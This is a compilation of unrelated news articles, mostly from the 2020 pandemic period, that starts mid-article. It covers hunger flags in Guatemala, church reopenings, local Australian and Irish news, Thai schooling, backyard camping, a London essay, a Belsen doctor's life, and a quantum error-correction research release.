Pictures of the houses festooned with white signs began to circulate on social media, and the phenomenon soon spread to other parts of Guatemala, and eventually, El Salvador.

Micaela Ventura, a 24-year-old shoe seller in Guatemala City, started using a flag about six weeks ago.

We put it out because we need food, she said, because we have nothing to give our children, and cant pay for our room.

A color coding system has developed in Guatemala. Red flags indicate medicines are needed, black alert the police to violence, and yellow ones to attacks on children.

Guatemala has reported 45 deaths and 2,265 infections from the virus, while El Salvador has confirmed 32 fatalities and 1,640 cases. Neighboring Honduras, where the poor have also gone out to beg for food, has registered 3,100 cases and 151 deaths.

Traditionally, those who see no future for themselves in the three countries, which have long been plagued by violence, have emigrated to the United States by any means possible.

Maria Jauria, a 21-year-old housewife and mother of two living in the central Guatemalan department of Chimaltenango, said there was so little work that her bricklayer husband has had to start selling the very things he needs for his job.

Weve been going out with the white flags for a month, and yes, some people have helped us out with food, she said. But the truth is, my husband has been selling his tools so we have something to eat.

SOURCE: REUTERS
President Donald Trump said Friday that he has deemed churches and other houses of worship "essential" and called on governors across the country to allow them to reopen this weekend, even as some parts of the nation remain under coronavirus lockdown.

"Today I'm identifying houses of worship  churches, synagogues and mosques  as essential places that provide essential services," Trump said during a hastily arranged press conference at the White House.

Despite the threat of further spreading the virus. Trump said that, "governors need to do the right thing and allow these very important essential places of faith to open right now, for this weekend." And he warned that if governors don't abide by his request, he will "override" them, though it's unclear what authority he has to do so.

The dictate comes as Trump has been pushing for the country to reopen as he tries to stop an economic free fall months before he faces reelection. White evangelical Christians have been among the most loyal members of the president's base, and the White House has been careful to attend to religious communities' concerns over the course of the crisis, including holding numerous conference calls with them.
Poppo Korean and Japanese Restaurant on Perths Barrack Street restaurant strip faces fines of $5000 plus $15,000 in court costs for poor food hygiene practices.

The no-frills sushi outlet was this month taken to court by the Department of Health and found to have failed to store food to prevent contamination, failed to keep food at safe temperatures, keep the premises and equipment clean, and keep equipment in good repair.

Health inspectors visited three times between December 2017 and February 2018 and found multiple issues each time.
IRISH Waters project to upgrade the sewer network in Adare has been completed and normal traffic movement through the village has resumed.

This upgrade work was required to address capacity issues and improve operational performance. Following completion of the sewer extension works at the end of March  three weeks ahead of schedule  permanent road reinstatement was completed last month.

The project involved laying 365m of new sewer and seven manholes along from the main street southbound along the N21. The work was originally scheduled to take 12 weeks but its completion ahead of schedule was made possible by the support and co-operation of the local community working in partnership with the project team, contractors Shareridge, Limerick City and County Council and An Garda Siochana.

Gerry ODonnell, Irish Waters Regional Delivery Lead, said: "We are very pleased to confirm that the installation of the new sewer is complete. We would like to thank the local community, residents, homeowners, businesses and commuters for their patience and cooperation while these works were undertaken.

"We were able to deliver the extension works efficiently and safely through the support and understanding of the communities in Adare and its surrounds."

He said safety is a top priority for Irish Water and everyone involved in a project of this nature.

"We worked with our contractors and Limerick City and County Council - to ensure that the work was carried out in a manner that protected the public, road users and our workers.

We would also like to thank the motorists who adhered to the advice regarding diversions which were in place for the duration of the work," said Mr O'Donnell.
A driver who allegedly smashed his car through the front of a Muslim fashion store injuring more than a dozen people has been charged.

A 51-year-old man was charged with seven offences on Friday after the crash in which a Mitsubishi SUV ploughed into the crowded Hijab House store in Greenacre, in Sydney's south-west.

Emergency services arrived at the scene just before 3.15pm on Thursday and found 14 inside the store had been injured.

Police said the SUV hit a vehicle stopped at traffic lights on Waterloo and Boronia Roads before continuing into the nearby shop.

Paramedics treated 14 people at the scene, before 10 were taken to Liverpool, Bankstown, and Canterbury hospitals in stable conditions.

The Mitsubishi driver was arrested and taken to Liverpool Hospital under police guard for mandatory testing.

Upon his release from hospital, he was escorted to Bankstown Police Station where he was interviewed by officers from the Crash Investigation Unit, and later released without charge.

Several women suffered cuts from the glass at the front of the store exploding open when the car ploughed through

Shocked locals console one another after the brutal crash this week. Police have said they are grateful no one was killed

The van (pictured) wasremoved from the Hijab House store following hours of police investigations

After further investigations, officers turned up at the man's house, also in Greenacre, at about 1pm on Friday and re-arrested him.

He was taken to Bankstown Police Station and has since been charged with driving furiously in motor vehicle or causing bodily harm, driving recklessly or furiously or speeding in a dangerous manner, negligent driving, proceeding through a red traffic light, and failing to notify authorities of a change of residential address.

The man was also charged with driving recklessly furiously or speeding in a dangerous manner, and not giving particulars to another driver in relation to an unrelated traffic incident at Lakemba on January 14. He has been refused bail to appear at Parramatta Bail Court on Friday.

The charges follow video emerging on Friday afternoon of the moments after the crash.

The video shows a large bearded man reaching inside the crashed SUV which then rocks as he scuffles with the driver.

Harrowing scenes: Mobile phone footage captured a man, centre, emerging from the Mitsubishi SUV after it shook violently. Local GP Nafi Musa, right, rushed to help the injured

Police, paramedics and witnesses after the car rammed the store

Video shows the man then leaving the store as a woman yells - including 'get him out' - while other witnesses ask how many people were in the car at the time of the crash.

Dr Nafi Musa works two doors down from the store. He rushed out of his GP clinic after hearing a huge explosion while treating his final patient of the day.

'There were a lot of people lying, in pain, shock, screaming,' he said.

Dr Musa said he first went to check whether anyone was trapped underneath the car, but thankfully no one was.

He treated a man in his 20s who was struck in the thigh by the car as well as three women bleeding from cuts he attributed to broken glass.

The crash left 14 people injured, with Police Assistant Commissioner Peter Thurtell telling reporters he was 'very grateful' nobody had been killed.

None of the injuries are life-threatening, but several victims were left with serious injuries and broken legs.

Among the injured was a 13-year-old girl, who was rushed to hospital.

Police said the car crashed into another vehicle stopped at the traffic lights moments before driving into the busy store.

Most of the victims are believed to be women aged between 18 and 30 and were in the store shopping at the time of the crash.

Emergency services rushed to the scene (pictured) on Thursday, but no-one suffered life-threatening injuries

The store was particularly busy ahead of Eid al-Fitr this weekend, the festival that marks the end of Ramadan.

A spokesman for Hijab House confirmed both customers and staff were injured in the crash.

'A number of our customers and staff members were injured.

'The community is shaken and management is working to make sense of this tragedy.
by Weena Kowitwanij

On 27 May, Thailands Parliament will make new decisions about schooling during the coronavirus epidemic. At present, the first semester of the school year is set to start on 1 July until late November. The Education Ministrys e-learning is not very popular with students.

Bangkok (AsiaNews)  Thailands parliament is set to make new decisions about the countrys schools next Wednesday amid the ongoing coronavirus epidemic. The first semester of the new school year will start on 1 July until late November.

In classrooms, students will have to sit about a metre apart. In cafeteria and playgrounds, no more than six people can sit together.

Thai Catholics can watch Mass online and receive spiritual communion, especially seniors and the sick. Priests make house calls. In some Bangkok churches, worshippers can register online to attend Mass.

Education Minister Nataphol Teepsuwan said that "first of all we must understand that classes are not possible, except in schools that are virus-free. Hence, we set up e-learning for those who want to learn and have the right equipment such as telephone, internet or television etc.

At the beginning of the semester, all students will have to come to school together and follow comprehensive lessons. E-learning provided now is only a test, so parents and students don't have to worry.

For schools in safe areas, students will go to school and study as usual. In unsafe areas, e-learning at various levels will be provided at different times depending on the timetable suitable for teachers and students. Students should stop other unnecessary activities and study major sujbects like science, history, Thai and English languages, etc.

About 58 per cent of teachers who do not use the Internet are ready for online teaching; the rest are not ready and need more time to prepare.

Education Ministry Permanent Secretary Prasert Boonrueng said that "only 43 per cent of students have Internet at home, most of the remaining 57 per cent do not have the necessary equipment for e-learning. Unfortunately, most of their families are farmers who work all day and leave their children at home alone.

During the more than two months of school closure, social inequality was an issue even in central Bangkok, especially in places like Klongtoey where there are no roads. Students must go to school by boat.

A local primary school student said: At home I only have an old television and an outdated cell phone without Internet, since the lowest fee is 500 baht (US) per month. My parents are sellers in the Klongtoey market; they tell me that e-learning is something trendy and only for the rich, impossible for underprivileged people like us.

Social Development and Human Security Minister Chuti Krairiksh and his teams have been visiting families in Angthong province to explain to parents that teachers will go back to teach in classrooms when schools reopen after the pandemic. E-learning is only for the pandemic period.

First year high school student Absorn said that she does not like e-learning at home, it's boring. At school we can meet and play with our classmates."

Ms Jurairatna, mother of three, notes that In my community most parents are not wealthy and can hardly provide modern equipment to their children. Policy-makers sit in their offices and do not know the students' means.

For an English teacher at the Khemapirataram Government School in Hua-Hin, Prachuabkirikhan province, students who have no access to the Internet at home dont have to worry. There is no need to get Internet at home or buy a TV or a computer. They can spend their time helping their parents with household chores and read textbooks. At the beginning of the school semester each student will follow the curriculum of their grade.

Poor parents near the Klongtoey market said that "we are unable to buy technical equipment for our children. We are only sellers, daily labourers.

A student at the Angthong Prathom Roj Wittaya school in Angthong province, 108 kilometres from Bangkok, said that e-learning on mobile phones is boring and sometimes concentration doesn't last long enough.

Benjawan Buahian, an English teacher at Hatyai Wittayalai school, said that "it is the duty of teachers to prepare their lessons. At the same time, they will have to learn to use online media.

Sorayuth Tharn-nate teaches mathematics. In his view, preparing for e-learning does not mean increasing the burden on teachers since it is the duty of good teachers to do so.
Whether you are abiding by a shelter-in-place order or just dont feel comfortable leaving home yet, you can still indulge your travel bug itch. It just takes some imagination  and if possible, a tent  to go on a not-so-far adventure.

There's no need to pack up the car or even go outside if thats not your thing. Build a pillow fort in your living room or go full outdoorsy and sleep under the stars in the backyard.

It doesnt have to be a true blue camp out, said Fred Steinkuehler, 50, of Edwardsville. A backyard campout for younger kids is good because you dont have to worry about bathrooms, the kitchen is nearby for cooking and if someone freaks out, he or she can just go inside, said Steinkuehler, a dad who hosted campouts for his sons Cub Scout troops when they were younger and now is involved with the Boy Scouts.

The Boy Scouts of America encouraged families  not just scouts  to hit the backyard when it hosted a national camp-in on May 2. Families participated online in campfire singalongs, outdoor cooking demonstrations, a 5K and more. April McMillan, the National Director of Program for the Boys Scouts, said it was a chance to make memories proving you can still have fun learning and exploring, even while social distancing.

And waking up to birds or squirrels chirping over your head might be just what everyone's mental health needs  spending time in nature can relieve stress and anxiety, improve your mood and boost happiness, researchers say.

If your kids are old enough, backyard camping can also be a chance for some independence. When spring break plans to the beach in Florida were canceled in April, Jennifer Nottmeiers sons were disappointed.

They kept bugging my husband and me, saying they wanted to camp in the camper, said Nottmeier, 41.

She and her husband, Todd, backed up the camper on their acre in Edwardsville, and the boys, ages 7, 9 and 12, took over from there, setting up the camper, roasting hot dogs on a bonfire and pulling out glow sticks and Nerf guns for fun.

Nottmeier, her husband and the dog slept in the house. At 6 a.m. when the rain came in, so did the boys. It was the first time they were on their own camping, Nottmeier said. It made me want to do it again.

Setting up camp

You don't need a camper or even a tent to plan a family campout. In fact, you really don't need a lot of equipment to hit the great outdoor patio.

 Build a shelter. Dig a tent out of the basement and set up in the backyard or build that blanket fort in the living room. Get everyone to pitch in, spreading out the tarp or putting the poles together for the tent or help design the blanket fort by moving around the furniture. Basic tents start between $30 and $40 at discount stores  a four-person Ozark Trail tent is $34.97 at Walmart. But factor in sleeping capacity and the quality of materials and expect to pay from $45 to $200. The Coleman WeatherMaster 6-person tent ($191.99) and Coleman Evanston screened tent ($129) both have favorable reviews as family tents on Amazon. Don't want to spend money on a tent but still want an outdoor shelter? Make a simple A-frame shelter with a 10-foot-by-10-foot tarp ($12.85 at Walmart). String a paracord between two trees tightly, drape the tarp and then stake it down. Make sure to check the weather for rain considering there is no floor. Feeling really adventurous? String a hammock between two trees and sleep under the stars or just put out a tarp topped with some pillows and blankets.

 Make it super cozy. Load up the tent with pillows, blankets, cushy comforters and sleeping bags. If you want to be more comfortable (It's not cheating!), bring out the air mattress or a cot. Invite some animal friends, whether its your pet golden retriever or a stuffed polar bear. Bring some favorite books to read by flashlight.

 Light it up. Gather all your flashlights. Or hang string lights (Christmas lights work, too) in the backyard. Hang them inside or outside the tent. It will create a cozy glow and make little ones more comfortable in the dark outside.

 Build a campfire. Get a fireplace going indoors or use a built-in outdoor firepit or firepit table. Kids can help with carrying the wood and stacking it. If they are older, they can do the fire-making. Dont have a place to build a fire? Make a pretend fire out of tissue paper and put a flashlight in the middle of it to light it up. Or find a virtual campfire online to play in the background.

Cook up camp chow

If you want to cook over a fire, hot dogs on a stick and smores are obvious and easy camping favorites. But the best thing about being in your own backyard: You likely already have a grill back there, and the kitchen is just a few steps away. When Steinkuehler hosted a campout for Cub Scouts, two of the parents cooked scrambled eggs and sausage in the kitchen for breakfast, and then brought it out in aluminum trays to keep warm on the fire. Want to get more elaborate? Some ideas:

Foil packs  Search foil pack recipes on the internet, and you will find many options. Try thedyrt.com, where you'll find the original campfire tin foil dinner: ground beef, potato, carrots, onion, salt, pepper, garlic powder and butter. There is even a sweet option  Tin Foil Monkey Bread.

Tips for foil wraps: Use heavy-duty foil; spray the foil with cooking spray before loading it up; wrap it tight, less air is better; wrap it twice, it will help prevent burning.

Dutch oven  From jambalaya to campfire chili to gooey caramel cinnamon rolls, a cast iron Dutch oven is a heavy but versatile way to cook outside. For an easy recipe your kids can make, try this apple dump cake: 2 cans apple pie filling; 1 box of white, yellow or spice cake mix; 1 stick of butter. Spray the Dutch oven with cooking spray and then dump the apple pie filling in, top with the cake mix and then slice the butter evenly over the cake mix.

Simple treats  Mix up a trail mix of nuts, fruits, cereal and something sweet or try making popcorn over the campfire.

Plan some fun

Sometimes kids are happy just playing in the dirt and running around and chasing one another. But here are some ideas to keep them from getting bored.

Take a hike  Put on your backpacks, grab your binoculars and explore the neighborhood. If you have a compass, plot a course  or just use GPS on your phone. Make it a scavenger hunt with a list of plants and animals to spot. Take photos or collect leaves, flowers or rocks to analyze later.

Classic games  Simon Says, Telephone and Freeze Tag (when it gets dark, play flashlight tag) are all games you can play without any equipment. Pull out yard games like croquet, cornhole, washers or badminton.

Stargazing  You may not have a sky map or a telescope, but you don't have to be an astronomy expert to just gaze at the stars. Lie on the ground and find your own patterns or use your smart phone  Skyview Lite and Star Tracker are two of many apps that allow users to point their device to the sky and instantly identify stars, constellations and satellites.

Campfire stories  Small kids aren't quite ready for creepy urban legends or stories about murderous clowns in the woods, but there are plenty of spooky stories that are just frightening enough to make it an enjoyable experience. For really young campers, read children's books about camping: "Curious George Goes Camping" or "A Campfire Tail" are two examples. Ready for a little scare? Try "The Curse of the Campfire Weenies and Other Warped and Creepy Tales." For older tweens and teens, "On the Day I Died: Stories from the Grave," 10 stories that feature teen ghosts who narrate stories of their own demise. Check out boyscouttrail.com for stories, skits and songs for all ages.

Beyond the backyard

Expert advice: Just in time for a summer where camping might be the best option for a family vacation, outdoor advocates Heather Balogh Rochfort and Will Rochfort of Denver have written a colorful illustrated guide for adults and families wanting to explore the outdoors. Sleeping Bags to Smores: Camping Basics ($15.99) offers advice on everything from what to pack, how and where to build a campfire, and how to camp and hike on a budget.

Missouri: Missouri State Parks began to reopen last week, accommodating existing campground reservations. They also began accepting new reservations. The parks have instituted some changes to better facilitate social distancing and improve safety of operations for the guests and staff. Campground occupancy will be limited at the parks, and reservations are required. First-come, first-served camping will no longer be available. The parks have implemented a new contactless, self-check-in feature and will also increase the frequency of cleaning shower houses and restrooms. Visit mostateparks.com for more information. Most private campgrounds are also now open but require reservations so call ahead.

Illinois: In Illinois, both public and private campgrounds, as well as RV parks, are currently closed unless they are someone's permanent residence. State parks are open for limited use from sunup to sundown, but all visitor centers, campgrounds, playgrounds, beaches and concessions remain closed. Check the Illinois coronavirus response site for the latest information: coronavirus.illinois.gov/s/.

Camp like a scout: The Greater St. Louis Area Council announced this week that they are canceling their traditional camps this summer, but are instead opening up their camping facilities to families, offering self-guided family camping and day trip activities. Reservations at Beaumont Scout Reservation in High Ridge and S bar F Scout Ranch in Farmington will be limited to promote social distancing and available on a first-come, first-served basis. Illinois camps will become available as the state continues to open. Check stlbsa.org for more information.

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He was just what you would expect a New York cop to look like. Big and tough and chewing gum with his gun strapped to his bulging belly and a bored look on his face.

I was a slightly overawed 27-year-old whod arrived in the U.S. for the first time in his life the night before. It was a sunny Saturday morning and I wanted to explore the city.

Excuse me, I said politely in my best British accent, can you tell me the best way to get to Central Park?

He didnt even glance at me.

Buy a f*****g map, buddy.

John Humphrys (pictured) explains how coronavirus might change the way people look at big cities

I knew then that when I brought my wife and two small children out from Britain, we would not be living in this city.

Instead, I rented a house 20 miles away in Irvington, on the banks of the great Hudson River. They arrived a few days before Christmas.

On Christmas Eve, I was flying south to report on a massive earthquake in Nicaragua, riddled with guilt at leaving my family in this strange land where they knew nobody.

I shouldnt have. They were immediately adopted by lovely neighbours who treated them as if they were their own family.

This was small-town America.

When Watergate forced us to move south to Washington DC, I chose once again to live in a small town. In the battle between small town and big city, I reckon theres only one winner.

Big cities around the world  not least London  have been having a hard time of it since Covid-19 went on its rampage. Behind every death lies a personal tragedy.

Cities like London (pictured) have been struggling since the coronavirus pandemic began

Yet Covid is destroying not only life, but the way we live. And perhaps we should not fear those changes but welcome them.

Throughout history, cities have been a magnet. From the late 18th century, people have been abandoning the land and the villages where they were brought up, to find fortune in the big cities of the new industrial revolution, like Birmingham and Manchester. But it was never a bed of roses.

As the great novelists tell us, many ended up in slums with their hideous overcrowding, their violent crime and their susceptibility to disease.

Yet they kept coming. And no city exerted more pulling power than London.

In modern times, the new arrivals have been mostly young people drawn to the bright lights. Keen to get on and keen to escape the narrowness of provincial life. And keen to have fun.

Then it changed again. Immigrants arrived to fill the jobs at the sharp end of the service economy. They worked in social care and the NHS. Waiters and hotel staff now had foreign accents.

And the rich came, too. The changing skyline screamed out that this was becoming the financial capital of the world.

A little over a year ago, the financial services sector contributed a massive 132 billion to the economy of the nation. Roughly half was generated in London.

We dont yet know what effect the pandemic will have on that financial powerhouse. We do know how its affecting those who work in it. As I write, their offices  and thousands more  are empty.

Working remotely began as necessity, but is now becoming a choice. Many company owners are re-examining their leases and asking: what are our vastly expensive offices actually for?

Technology is changing everything. And this is just the beginning. Quantum computers are already being developed. You need to be a physicist even to begin to understand what they do, and Im not. But they will make todays supercomputers look like childrens toys.

Mark Zuckerberg, in a rare interview this week, revealed his plans to have half of Facebooks staff working from home in less than ten years. He called it fundamentally changing our culture.

Mark Zuckerberg (pictured) highlighted how change can always happen in society when he announced that he wants half of his Facebook staff to be working from home in ten years

Where Facebook leads, others will surely follow. Twitter already has.

And Covid has given this revolution the motivation it needed. Cities equal crowds. Crowds spread infection.

And its not a straightforward, linear equation. The theoretical physicist, Geoffrey West, has shown that as cities grow, the hazards they pose grow at a greater rate  not just the spread of infections but crime, especially violent crime. So if a city doubles in size, the risk more than doubles.

Perhaps a new Charles Dickens will emerge to bring home to us quite how dreadful conditions can be in Covid London beyond the bright lights and the comfortable homes, like mine, on pleasant parks.

Perhaps Covid will make those at the bottom end of the social and economic ladder wonder whether the city game is really worth the candle.

Perhaps Covid, combined with the digital revolution, will finally finish what began with the industrial revolution.

Without social life, London loses its lustre and many will be escaping to the countryside

It is not just the poor who may be having second thoughts. Samuel Johnson wrote: When a man is tired of London, he is tired of life; for there is in London all that life can afford. Not these days there isnt.

Even for the middle classes, the indulgences have disappeared. The theatres, the opera, the galleries, the museums, the fashionable restaurants. All closed. And when eventually they open, will they still retain their allure if their patrons are treated as potential lepers?

London without social life loses its lustre. No wonder the wealthy have decamped to the countryside.

Like millions of others, I escaped last weekend. I rested after running through glorious woodland that gave way to pastures full of grazing sheep, their mischievous lambs trotting around, a lone hare spotting me and loping off towards the distant hills.

Everything bathed in the morning sun. I was 50 miles from London. An hours drive away. A century away.

Those forced to live in the polluted mean streets of a big city like London often dream of the rural idyll, and the response of governments to this pandemic has focused many minds on alternatives.

Commuting is not just boring and wasteful. Now, it can also be life-threatening.

Why not build communities where we can afford to live, and where social divisions are not as extreme as they are in the capital?

Take away the power of the financial services, and much that it dictated begins to wither. Once cities lose their economic function, they go into slow decline.

Ask Liverpool. It is a wonderful city, but 100 years ago it was the greatest port in the world and the world flocked to it.

Liverpool used to be the greatest port in the world - the way the city has declined in value shows that big cities can be doomed

But can cities really be doomed? Perhaps they will adapt to dangers like Covid. London looks as if it may have the better of it for now, and yet the Mayor is cautious about lifting the lockdown.

And anyway, a pandemic changes the psychology of a city. Its not just the disease that makes crowds potentially so unappealing. Cities are uniquely vulnerable to many other threats.

When the Cold War ended in 1989, I asked the head of MI6 where the next greatest threat to our way of life might come from. He did not hesitate. Cyber warfare. It seemed fanciful then. It seems prophetic now.

A hostile country, or even some maniac loner, might well bring our economy to a juddering halt by hacking into the essential computer systems that keep it running.

The cities would fall first. And then the crowd could very easily turn in on itself. We would not be competing for toilet rolls but fighting for food.

In short, the calculus of city living is undergoing great changes. No one knows where they will lead, but if it ultimately loses its appeal, would that be such a bad thing?

Those outside London and other big cities  fed up with being called provincial  might rejoice to see the end of city bragging. A provincial nation might be better prepared for a pandemic.

Those who live away from London might just enjoy everyone not bragging about the big cities

Look at Germany: its biggest city, Berlin, is a third the size of London. One consequence of Covid here could be a resurgent local government.

And maybe those who sneer at the suburbs from their metropolitan ivory towers might envy them instead. Especially when theres no need to spend thousands commuting to the office. Imagine, too, what it will do to house prices.

Both Theresa May and Boris Johnson have talked about rebalancing the country.

They may not have chosen this new path, but it may lead there. And given how all politicians love a slogan, let me suggest one.

If you love life, leave London.
Irish medic Robert (often Bob) Collis later recalled his first impression of one of history's most shameful sites: 'It was the Belsen smell of death and decay.'

Victory in Europe Day was commemorated two weeks ago, 75 years on from the day when the guns fell silent across the continent. On that day, May 8, in 1945, Doctor Collis crossed the English Channel with a Red Cross relief mission. In a memoir published two years after the events described, he told how he arrived in Holland to find the population rejoicing at the end of the war.

He volunteered along with fellow Irish doctors Nigel Kinnear and Patrick MacClancy to work in Germany at the already notorious concentration camp - Bergen-Belsen. They were allocated the services of a Dutch nurse and a Dutch translator who spoke four languages and had studied law. The latter was 25-year-old Johanna (always Han) Hogerzeil, whom Bob was destined to marry, though she was 19 years his junior.

On their way to the camp, the Red Cross team called to Han's native village of Oosterbeek, which had been all but flattened during the conflict. Throughout the next few months, they saw at first hand constant reminders of how Europe had been battered and scarred by war. And together they witnessed the fallout from the worst savagery of the Nazi regime as they set up and ran a children's hospital in Belsen 

Robert Collis was born in 1900 into an Anglo-Irish family who lived at Kilmore House in Killiney, close to what is now the DART station. He came from a long line of solicitors and doctors, and he was sent to England to be educated at Rugby School before studying to be a doctor. He played rugby for Ireland, proud to have been a member of the side which drew 6-6 with England in front of 50,000 spectators at Twickenham.

When he first met Han Hogerzeil in 1945, she was a lean seven stone in weight. She had striven heroically during the war to conceal Jewish families from the invading authorities after her legal studies were cut short by the German occupation. She later went on to study medicine at King's College in London as a mature student and became a doctor.

The memoir, entitled 'Straight On', gives a very personal record of what occurred in the liberated concentration camp. Bob reckoned that it had been designed to hold not more than 10,000 people but the numbers grew and grew until over 60,000 were accommodated. When British troops arrived to free them, the inmates were horribly emaciated, with starvation aggravating typhus, dysentery and tuberculosis.

The Red Cross party took charge of 500 orphan children ranging in age from one month to 16 years old, belonging to nine different nationalities. Treatment was undertaken despite the fact that there were 'no temperature charts, weighing machines, few medicines and no paediatric drugs. There were no blankets, no sheets, no napkins, no towels, no crockery, nothing.'

However, the work had its compensations: 'The sight of those who recovered rapidly was one of the most exciting and comforting things it is possible to imagine. People who had been skeletons, reduced to the last stages of starvation, who had lain half naked in such filth that all feelings of decency had had to be abandoned, now began to come back to life with amazing rapidity. Once the corner was rounded they put on weight almost hourly, it seemed.'

Patients and staff alike created a social life of sorts, culminating in a gala which featured a steeplechase, with Bob Collis as the winning jockey. The Old Vic theatre company deserted the West End, setting up a stage in Belsen to perform George Bernard Shaw's 'Arms and the Man' with a touring cast that included such stellar actors as Ralph Richardson, Laurence Olivier and Sybil Thorndyke, no less.

Bob and Han brought a batch of their young charges home to Czechoslovakia and they were also present when most of the remainder were removed from what they called the Horror Camp to the safety of Sweden. Half a dozen of the children who had been their patients ended up in Ireland in breezy defiance of adoption formalities.

The Collis/Hogerzeil connection with County Wicklow dates back to the late 1930s when Doctor Bob bought a farm in the hills between Newtownmountkennedy and Roundwood. It is believed that he found the property, complete with romantic cottage, while rambling through the countryside on horseback. At the time he was running a prosperous medical practice at Fitzwilliam Square in the centre of Dublin.

Later he and Han worked abroad - in Nigeria and India - as well as in Ireland but when the couple retired in 1969, they headed for the old farmhouse to take up full-time residence.

They had two children together but suffered the grief of losing their son Sean, who died at the young age of 14. Their nephew Uto was of a similar age and he was dispatched by his family to Ireland for a holiday with the still-grieving relatives.

'My aunt never got over it,' he says of Han's reaction to the tragedy. 'I was sent over to fill the gap.' It was an impossible mission but the teenager from Den Haag fell immediately in love with this remote spot which he first saw in 1972.

With time on his hands, his uncle was in his element there, free to indulge his fondness for horses. Bob had played polo in his younger days and he continued to officiate as a referee, so Uto was brought on match days to the polo grounds in the Phoenix Park. Not a tall man, his uncle retained some of the broad-shouldered build and strength which had helped to make him such a useful member of the Irish rugby pack.

As he and Han had no direct interest in agriculture, the farm was run by the Hamilton family while Bob spent as much time as he could in the saddle. Uto had no riding experience whatsoever, but soon found himself sitting with reins in hand on a docile mount after receiving minimal instruction. Four hours later, having trekked all the way to Luggala and back, the novice was in a bad state but still on board.

Bob, he recalls with mixture of amusement and incredulity, had never once looked back at the first-timer during the four hours to see how he was doing: 'I was dying! And then I couldn't walk for three or four days afterwards.

'They were different, unconventional, eccentric - but in a nice way,' muses Uto more than four decades later as he recalls his hosts.

'Both were highly intelligent. They adored each other and they were very compatible. They always saw the big picture.'

His uncle continued to offer his services as a part-time GP and he also occasionally showed his enduring fondness for children. Local folk legend persists among those who were children in the early seventies, telling of the times around Christmas when Bob would hire a projector.

Audiences of as many as 70 youngsters would arrive at the farm to enjoy a film or two, along with hefty rations of lemonade and cake. Eventually, his love of horses proved fatal for the great man, as he fell from his mount at the age of 75 and broke his neck.

Though they had lived quite affluent lives, Han suddenly found herself widowed and with scant pension provision. So she was obliged to sell the farmhouse and most of the 125 acres which went with it - though not without making provision for her nephew.

As he had always shown a love for the place on his annual visits, she held back a site for Uto, half a mile from the house. He and his Dutch compatriot wife Sylvia now have a modern home on this piece of land where they have raised children who are Irish in everything except surname.

Uto - now a well-regarded graphic designer - was always aware that his aunt and uncle had come through the Belsen experience. However, as a teenager, he never explored their memories of the death camp in any depth.

It was only in later years that he talked about the subject with his aunt.

Doctor Bob Collis is still remembered as the ground-breaking founder of Cerebral Palsy Ireland, with 'My Left Foot' author Christy Brown among his patients. He also wrote several books and a play.

Han went on in 1983 to marry retired accountant Donald McLean who died in 1997. She passed away herself in 2005 shortly after her 85th birthday while in the care of a nursing home in Greystones.

An obituary noted that she had been a regular volunteer in the War on Want shop in Bray for many years.

War on want - it was a fight this remarkable woman engaged in for all of her adult life.
A stitch in time: How a quantum physicist invented new code from old tricks

A scientist at the University of Sydney has achieved what one quantum industry insider has described as "something that many researchers thought was impossible".

Dr Benjamin Brown from the School of Physics has developed a type of error-correcting code for quantum computers that will free up more hardware to do useful calculations. It also provides an approach that will allow companies like Google and IBM to design better quantum microchips.

He did this by applying already known code that operates in three-dimensions to a two-dimensional framework.

"The trick is to use time as the third dimension. I'm using two physical dimensions and adding in time as the third dimension," Dr Brown said. "This opens up possibilities we didn't have before."

His research is published today in Science Advances.

"It's a bit like knitting," he said. "Each row is like a one-dimensional line. You knit row after row of wool and, over time, this produces a two-dimensional panel of material."

Fault-tolerant quantum computers

Reducing errors in quantum computing is one of the biggest challenges facing scientists before they can build machines large enough to solve useful problems.

"Because quantum information is so fragile, it produces a lot of errors," said Dr Brown, a research fellow at the University of Sydney Nano Institute.

Completely eradicating these errors is impossible, so the goal is to develop a "fault-tolerant" architecture where useful processing operations far outweigh error-correcting operations.

"Your mobile phone or laptop will perform billions of operations over many years before a single error triggers a blank screen or some other malfunction. Current quantum operations are lucky to have fewer than one error for every 20 operations - and that means millions of errors an hour," said Dr Brown who also holds a position with the ARC Centre of Excellence for Engineered Quantum Systems.

"That's a lot of dropped stitches."

Most of the building blocks in today's experimental quantum computers - quantum bits or qubits - are taken up by the "overhead" of error correction.

"My approach to suppressing errors is to use a code that operates across the surface of the architecture in two dimensions. The effect of this is to free up a lot of the hardware from error correction and allow it to get on with the useful stuff," Dr Brown said.

Dr Naomi Nickerson is Director of Quantum Architecture at PsiQuantum in Palo Alto, California, and unconnected to the research. She said: "This result establishes a new option for performing fault-tolerant gates, which has the potential to greatly reduce overhead and bring practical quantum computing closer."

Path to universal computation

Start-ups like PsiQuantum, as well as the big technology firms Google, IBM and Microsoft, are leading the charge to develop large-scale quantum technology. Finding error-correcting codes that will allow their machines to scale up is urgently needed.

Dr Michael Beverland, a senior researcher at Microsoft Quantum and also unconnected with the research, said: "This paper explores an exciting, exotic approach to perform fault-tolerant quantum computation, pointing the way towards potentially achieving universal quantum computation in two spatial dimensions without the need for distillation, something that many researchers thought was impossible."

Two-dimensional codes that currently exist require what Dr Beverland refers to as distillation, more precisely known as 'magic-state distillation'. This is where the quantum processor sorts through the multiple computations and extracts the useful ones.

This chews up a lot of computing hardware just suppressing the errors.

"I've applied the power of the three-dimensional code and adapted it to the two-dimensional framework," Dr Brown said.

Dr Brown has been busy this year. In March he published a paper in top physics journal Physical Review Letters with colleagues from EQUS and the University of Sydney. In that research he and colleagues developed a decoder that identifies and corrects more errors than ever before, achieving a world record in error correction.

"Identifying the more common errors is another way we can free up more processing power for useful computations," Dr Brown said.

Professor Stephen Bartlett is a co-author of that paper and leads the quantum information theory research group at the University of Sydney.

"Our group at Sydney is very focused on discovering how we can scale-up quantum effects so that they can power large-scale devices," said Professor Bartlett, who is also Associate Dean for Research in the Faculty of Science.

"Dr Brown's work has shown how to do this for a quantum chip. This type of progress will enable us to go from small numbers of qubits to very large numbers and build ultra-powerful quantum computers that will solve the big problems of tomorrow."

###

DOWNLOAD the research and photos of Dr Brown and Professor Bartlett at this link.

INTERVIEWS

Dr Ben Brown | b.brown@sydney.edu.au | +61 401 860 369

School of Physics | Sydney Nano

ARC Centre of Excellence for Engineered Quantum Systems

The University of Sydney

Professor Stephen Bartlett | stephen.bartlett@sydney.edu.au | +61 438 490 414

School of Physics | Sydney Nano

ARC Centre of Excellence for Engineered Quantum Systems

The University of Sydney

MEDIA ENQUIRIES

Marcus Strom | marcus.strom@sydney.edu.au | +61 423 982 485

DECLARATION

This research was supported by the University of Sydney Fellowship Program and the Australian Research Council via the Centre of Excellence in Engineered Quantum Systems (EQUS) project number CE170100009.

